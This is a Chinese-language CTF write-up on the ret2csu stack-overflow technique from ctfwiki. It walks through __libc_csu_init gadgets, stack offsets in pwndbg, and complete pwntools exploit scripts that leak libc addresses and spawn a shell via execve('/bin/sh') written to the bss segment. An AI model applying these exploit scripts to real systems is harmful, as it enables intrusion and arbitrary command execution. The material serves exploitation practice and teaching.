ctfwiki基本栈溢出部分题解
ret2csu 原理 ret2csu的思路具有一定的通杀性 因为该方法基于的是__libc_csu_init函数 该函数基本所有动态链接程序都会含有 举一个wiki上的例子
1 2 write (1 ,__libc_start_main_got,8 )payload = 'a' * padding + pop_rdi + 1 + pop_rsi + __libc_start_main_got + pop_rbx + 8 + ret_addr
在64位环境下 如果想要实现libc泄漏 假如使用write函数的话 会发现相当的麻烦 因为构造payload本身不是很难 但是关键是要找到合适的gadget
1 2 3 4 5 6 7 8 9 10 # apple @ Macbook -Pro in ~/Desktop [21 :53 :38 ] $ ropgadget --binary level5 --only 'pop|ret' Gadgets information============================================================ 0x0000000000400512 : pop rbp ; ret0x0000000000400511 : pop rbx ; pop rbp ; ret0x0000000000400417 : ret0x0000000000400442 : ret 0x200b Unique gadgets found : 4
因为你看 根本就没有 于是乎我们必须要另寻他路 ret2csu的目的就是利用__libc_csu_init函数中的部分代码 通过构造栈结构来实现取代Ropgadget的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text :00000000004005F0 loc_4005F0 : ; CODE XREF : __libc_csu_init+64 ↓j .text :00000000004005F0 mov rdx, r15 .text :00000000004005F3 mov rsi, r14 .text :00000000004005F6 mov edi, r13d .text :00000000004005F9 call qword ptr [r12+rbx*8 ] .text :00000000004005FD add rbx, 1 .text :0000000000400601 cmp rbx, rbp .text :0000000000400604 jnz short loc_4005F0 .text :0000000000400606 .text :0000000000400606 loc_400606 : ; CODE XREF : __libc_csu_init+48 ↑j .text :0000000000400606 mov rbx, [rsp+38h+var_30] .text :000000000040060B mov rbp, [rsp+38h+var_28] .text :0000000000400610 mov r12, [rsp+38h+var_20] .text :0000000000400615 mov r13, [rsp+38h+var_18] .text :000000000040061A mov r14, [rsp+38h+var_10] .text :000000000040061F mov r15, [rsp+38h+var_8] .text :0000000000400624 add rsp, 38h .text :0000000000400628 retn
截取了__libc_csu_init的两个子函数 从400606到400628中 对rbx到rsp7个寄存器进行赋值操作 其中除了rsp寄存器以外其余的我们都可以通过构造栈空间的方式进行控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text :0000000000400606 loc_400606 : ; CODE XREF : __libc_csu_init+48 ↑j .text :0000000000400606 mov rbx, [rsp+38h+var_30] .text :000000000040060B mov rbp, [rsp+38h+var_28] .text :0000000000400610 mov r12, [rsp+38h+var_20] .text :0000000000400615 mov r13, [rsp+38h+var_18] .text :000000000040061A mov r14, [rsp+38h+var_10] .text :000000000040061F mov r15, [rsp+38h+var_8] .text :0000000000400624 add rsp, 38h .text :0000000000400628 retn .text :0000000000400616 loc_400616 : ; CODE XREF : __libc_csu_init+34j .text :0000000000400616 add rsp, 8 .text :000000000040061A pop rbx .text :000000000040061B pop rbp .text :000000000040061C pop r12 .text :000000000040061E pop r13 .text :0000000000400620 pop r14 .text :0000000000400622 pop r15 .text :0000000000400624 retn .text :0000000000400624 __libc_csu_init endp
请注意 以上是我提取了两个不同程序的同一部分代码 可以看到下部分是pop 上部分是mov指令 其实二者没有区别 都是对寄存器进行赋值操作 只不过一个是直接pop 另一个是通过改变rsp指针位置 不过mov办法的具体var_xx数值需要我们进行动态调试
1 2 3 4 5 6 7 8 9 .text :00000000004005F0 loc_4005F0 : ; CODE XREF : __libc_csu_init+64 ↓j .text :00000000004005F0 mov rdx, r15 .text :00000000004005F3 mov rsi, r14 .text :00000000004005F6 mov edi, r13d .text :00000000004005F9 call qword ptr [r12+rbx*8 ] .text :00000000004005FD add rbx, 1 .text :0000000000400601 cmp rbx, rbp .text :0000000000400604 jnz short loc_4005F0 .text :0000000000400606
这段代码很好理解 如果结合上述所说 我们控制的r13-15寄存器可以为rdx rsi edi寄存器进行赋值 64位传参的前3个寄存器是rdi rsi rdx 后两个有了 还差一个rdi
1 .text :00000000004005F6 mov edi, r13d
r13的低32位赋值给edi 因此rdi的低32位就确定了 调试过程中发现执行到此时rdi的高32位为0 那么就代表我们可以控制rdi寄存器了 如果我们设置rbx为0的话 那么call的就是r12的地址了 在设置rbp为1 那么cmp的结果相等 就不会实行跳转 初步的payload可以写成如下
1 2 3 4 5 6 7 8 9 10 csu1 = 0x400606 csu2 = 0x4005F0 def csu (rbx,rbp,r12,r13,r14,r15,ret): payload = 'a' * 136 payload += p64 (csu1) payload += p64 (rbx) + p64 (rbp) + p64 (r12) + p64 (r13) + p64 (r14) + p64 (r15) payload += p64 (csu2) csu (0 ,1 ,write_got,8 ,write_got)
细心的师傅肯定想到一个问题 这不是和libc泄漏很像吗 那为啥libc泄漏call的是plt表而这里是got表 那是因为对于libc泄漏而言 我们控制的是返回地址 返回地址所填写的必须是一个指令 而got表中存储的是指令的地址 对于此题而言 单纯的call就得填写指令的地址了 因为返回地址最后得pop eip
1 2 3 4 5 6 7 8 9 10 11 53 : 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@@GLIBC_2 .2 .5 54 : 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ 55 : 0000000000601018 0 NOTYPE GLOBAL DEFAULT 24 __data_start56 : 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__57 : 0000000000601020 0 OBJECT GLOBAL HIDDEN 24 __dso_handle58 : 0000000000400688 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used59 : 00000000004005a0 137 FUNC GLOBAL DEFAULT 13 __libc_csu_init60 : 0000000000601038 0 NOTYPE GLOBAL DEFAULT ABS _end61 : 0000000000400460 0 FUNC GLOBAL DEFAULT 13 _start62 : 0000000000601028 0 NOTYPE GLOBAL DEFAULT ABS __bss_start63 : 0000000000400564 47 FUNC GLOBAL DEFAULT 13 main
还有一个问题就是 就像libc泄漏一样 一趟是没法解决问题的 我们必须可持续发展 在结束后还得ret到main函数中 对于4005F0而言 并没有ret指令 那么我们必须借用400606的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text :00000000004005F0 loc_4005F0 : ; CODE XREF : __libc_csu_init+64 ↓j .text :00000000004005F0 mov rdx, r15 .text :00000000004005F3 mov rsi, r14 .text :00000000004005F6 mov edi, r13d .text :00000000004005F9 call qword ptr [r12+rbx*8 ] .text :00000000004005FD add rbx, 1 .text :0000000000400601 cmp rbx, rbp .text :0000000000400604 jnz short loc_4005F0 .text :0000000000400606 .text :0000000000400606 loc_400606 : ; CODE XREF : __libc_csu_init+48 ↑j .text :0000000000400606 mov rbx, [rsp+38h+var_30] .text :000000000040060B mov rbp, [rsp+38h+var_28] .text :0000000000400610 mov r12, [rsp+38h+var_20] .text :0000000000400615 mov r13, [rsp+38h+var_18] .text :000000000040061A mov r14, [rsp+38h+var_10] .text :000000000040061F mov r15, [rsp+38h+var_8] .text :0000000000400624 add rsp, 38h .text :0000000000400628 retn
因此我们设置rbx=0 这样+1以后就会相等 跳过jnz 之后由于最后将esp+=0x38 那么为了覆盖掉 我们还需要0x38个字节 csu1 + 参数 + 返回地址(csu2) + padding + 返回地址(main)
1 2 3 4 5 6 7 8 9 10 11 12 csu1 = 0x400606 csu2 = 0x4005F0 def csu (rbx,rbp,r12,r13,r14,r15,ret): payload = 'a' * 136 payload += p64 (csu1) payload += p64 (rbx) + p64 (rbp) + p64 (r12) + p64 (r13) + p64 (r14) + p64 (r15) payload += p64 (csu2) payload += 'a' * 0x38 payload += p64 (main) csu (0 ,1 ,write_got,8 ,write_got,main)
这样一个基本的思路就清晰了 现在开始解题 不过这个level5编译版本太老了 我自己编译了一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text :0000000000400600 loc_400600 : ; CODE XREF : __libc_csu_init+54 ↓j .text :0000000000400600 mov rdx, r13 .text :0000000000400603 mov rsi, r14 .text :0000000000400606 mov edi, r15d .text :0000000000400609 call qword ptr [r12+rbx*8 ] .text :000000000040060D add rbx, 1 .text :0000000000400611 cmp rbx, rbp .text :0000000000400614 jnz short loc_400600 .text :0000000000400616 .text :0000000000400616 loc_400616 : ; CODE XREF : __libc_csu_init+34 ↑j .text :0000000000400616 add rsp, 8 .text :000000000040061A pop rbx .text :000000000040061B pop rbp .text :000000000040061C pop r12 .text :000000000040061E pop r13 .text :0000000000400620 pop r14 .text :0000000000400622 pop r15 .text :0000000000400624 retn
400600基本没差别 关键在于400616处 此处并没有告诉我们关于rsp的堆栈操作 我们无法从ida得知400616与ret地址之间的padding
1 2 3 4 5 6 7 8 9 10 11 12 ► 0x400616 <__libc_csu_init+86 > add rsp, 8 0x40061a <__libc_csu_init+90 > pop rbx 0x40061b <__libc_csu_init+91 > pop rbp 0x40061c <__libc_csu_init+92 > pop r12 0x40061e <__libc_csu_init+94 > pop r13 0x400620 <__libc_csu_init+96 > pop r14 0x400622 <__libc_csu_init+98 > pop r15 0x400624 <__libc_csu_init+100 > ret ↓ 0x7ffff7df1040 <__libc_start_main+128 > mov rdx, qword ptr [rip + 0x1c7e19 ] 0x7ffff7df1047 <__libc_start_main+135 > mov eax, dword ptr [rdx + 0x210 ] 0x7ffff7df104d <__libc_start_main+141 > test eax, eax
这是我在动调时看到的 在400624之后 ret到的是<__libc_start_main+128> 这个地址 那么我去看了眼栈结构
1 2 3 4 5 6 7 8 9 00 :0000 │ rsp 0x7fffffffe560 —▸ 0x7ffff7fbe2e8 (__exit_funcs_lock) ◂— 0x0 01 :0008 │ 0x7fffffffe568 —▸ 0x4005c0 (__libc_csu_init) ◂— push r1502 :0010 │ 0x7fffffffe570 ◂— 0x0 03 :0018 │ 0x7fffffffe578 —▸ 0x400470 (_start) ◂— xor ebp, ebp04 :0020 │ 0x7fffffffe580 —▸ 0x7fffffffe680 ◂— 0x1 05 :0028 │ 0x7fffffffe588 ◂— 0x0 06 :0030 │ 0x7fffffffe590 ◂— 0x0 07 :0038 │ 0x7fffffffe598 —▸ 0x7ffff7df1040 (__libc_start_main+128 ) ◂— mov rdx, qword ptr [rip + 0x1c7e19 ]08 :0040 │ 0x7fffffffe5a0 ◂— 0x0
之前还想找rbp来着 后来对照了一下不同版本的ubuntu 发现确实rsp与返回地址间相差0x38个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> stack 25 00 :0000 │ rsp 0x7fffcb531058 ◂— 0x6161616161616161 ('aaaaaaaa' )... ↓ 07 :0038 │ 0x7fffcb531090 —▸ 0x400587 (main) ◂— push rbp08 :0040 │ 0x7fffcb531098 ◂— 0x697d920825d30ed9 09 :0048 │ 0x7fffcb5310a0 ◂— 0x0 ... ↓ 0c :0060 │ 0x7fffcb5310b8 —▸ 0x7fffcb531128 —▸ 0x7fffcb5322fb ◂— 'WINDOWID=60817418' 0d :0068 │ 0x7fffcb5310c0 —▸ 0x7fa815fa2168 ◂— 0x0 0e :0070 │ 0x7fffcb5310c8 —▸ 0x7fa815d8b80b (_dl_init+139 ) ◂— jmp 0x7fa815d8b7e0 0f :0078 │ 0x7fffcb5310d0 ◂— 0x0 ... ↓ 11 :0088 │ 0x7fffcb5310e0 —▸ 0x400470 (_start) ◂— xor ebp, ebp
读者也可以这么理解 结合400616的代码发现 无论是pop还是add rsp,8 都会使得rsp向高地址移动8个字节 那么总共有7个如此的操作rsp总共会向高地址移动7*8=56个字节 之后才会ret 那么我们覆盖栈地址也就需要0x38个字节(我们用的是read函数 所以读入时覆盖的是栈空间 但是待400616函数执行时 要预留出相应的rsp移动空间) 实在不明白的话多多思考
低版本EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *sh = process ('./1' ) elf = ELF ('./1' ) context.log_level = 'debug' csu1 = 0x40061A csu2 = 0x400600 write_got = elf.got ['write' ] libc_start_main_got = elf.got ['__libc_start_main' ] main_addr = elf.symbols ['main' ] def csu (rbx,rbp,r12,r13,r14,r15,ret): payload = 'a' * 136 payload += p64 (csu1) payload += p64 (rbx) + p64 (rbp) + p64 (r12) + p64 (r13) + p64 (r14) + p64 (r15) payload += p64 (csu2) payload += 'a' * 0x38 payload += p64 (main_addr) sh.sendline (payload) sh.recvuntil ('Hello, World\\n' ) csu (0 ,1 ,write_got,8 ,libc_start_main_got,1 ,main_addr)libc_start_main_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) print hex (libc_start_main_addr) [DEBUG ] Received 0x15 bytes : 00000000 c0 3f 0a e3 c3 7f 00 00 48 65 6c 6c 6f 2c 20 57 │·?··│····│Hell │o, W│ 00000010 6f 72 6c 64 0a │orld│·│ 00000015 0x7fc3e30a3fc0
成功获取libc_start_main地址 剩下的使用libc寻找system和shell的方法就不赘述了 这里重点讲一下使用execve的
1 2 3 4 5 6 7 #read (0 ,bss_base,16 ) csu (0 ,1 ,read_got,32 ,bss_base,0 ,main_addr)sh.send (p64 (execve_addr) + '/bin/sh\\x00' ) sh.recvuntil ('Hello, World\\n' ) csu (0 ,1 ,bss_base,0 ,0 ,bss_base+8 ,main_addr)sh.interactive ()
这里和SROP不太一样的地方在于 这里是单纯的将execve函数地址以及/bin/sh\x00字符串写入bss段中 并且很暴力的构造栈空间 将返回地址指向execve_addr 让bss_base+8成为参数 不过在高版本的ubuntu中这样并不行 因为稍高版本的ubuntu的bss段就没有执行权限了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *sh = process ('./1' ) elf = ELF ('./1' ) context.log_level = 'debug' csu1 = 0x000000000040061A csu2 = 0x0000000000400600 bss_base = elf.bss () write_got = elf.got ['write' ] main_addr = elf.symbols ['main' ] read_got = elf.got ['read' ] def csu (rbx,rbp,r12,r13,r14,r15,ret): payload = 'a' * 136 payload += p64 (csu1) payload += p64 (rbx) + p64 (rbp) + p64 (r12) + p64 (r13) + p64 (r14) + p64 (r15) payload += p64 (csu2) payload += 'a' * 0x38 payload += p64 (main_addr) sh.send (payload) sh.recvuntil ('Hello, World\\n' ) # write (1 ,write_got,8 ) csu (0 ,1 ,write_got,8 ,write_got,1 ,main_addr)write_addr = u64 (sh.recv (8 )) libc = LibcSearcher ('write' ,write_addr) libc_base = write_addr - libc.dump ('write' ) execve_addr = libc_base + libc.dump ('execve' ) log.success ('execve_addr ' + hex (execve_addr)) sh.recvuntil ('Hello, World\\n' ) #read (0 ,bss_base,32 ) csu (0 ,1 ,read_got,32 ,bss_base,0 ,main_addr)sh.sendline (p64 (execve_addr) + '/bin/sh\\x00' ) sh.recvuntil ('Hello, World\\n' ) csu (0 ,1 ,bss_base,0 ,0 ,bss_base+8 ,main_addr)sh.interactive ()
最后注意一下binsh那块的sendline 我试了一下p64(execve_addr) + ‘/bin/sh\x00’加起来刚好16个字节 如果用sendline的话后面还会补一个0x0a 那么会read那边字节数要改成32字节 不然会超 对于高版本而言 可能该EXP会失效 还是用老办法或者带一个mprotect的函数修改bss段权限
1 2 3 4 5 6 7 8 [DEBUG ] Sent 0x10 bytes : 00000000 f0 17 dd 4e 66 7f 00 00 2f 62 69 6e 2f 73 68 00 │···N│f···│/bin│/sh·│ 00000010 [DEBUG ] Sent 0x11 bytes : 00000000 f0 27 63 30 41 7f 00 00 2f 62 69 6e 2f 73 68 00 │·'c0│A···│/bin│/sh·│ 00000010 0a │·│ 00000011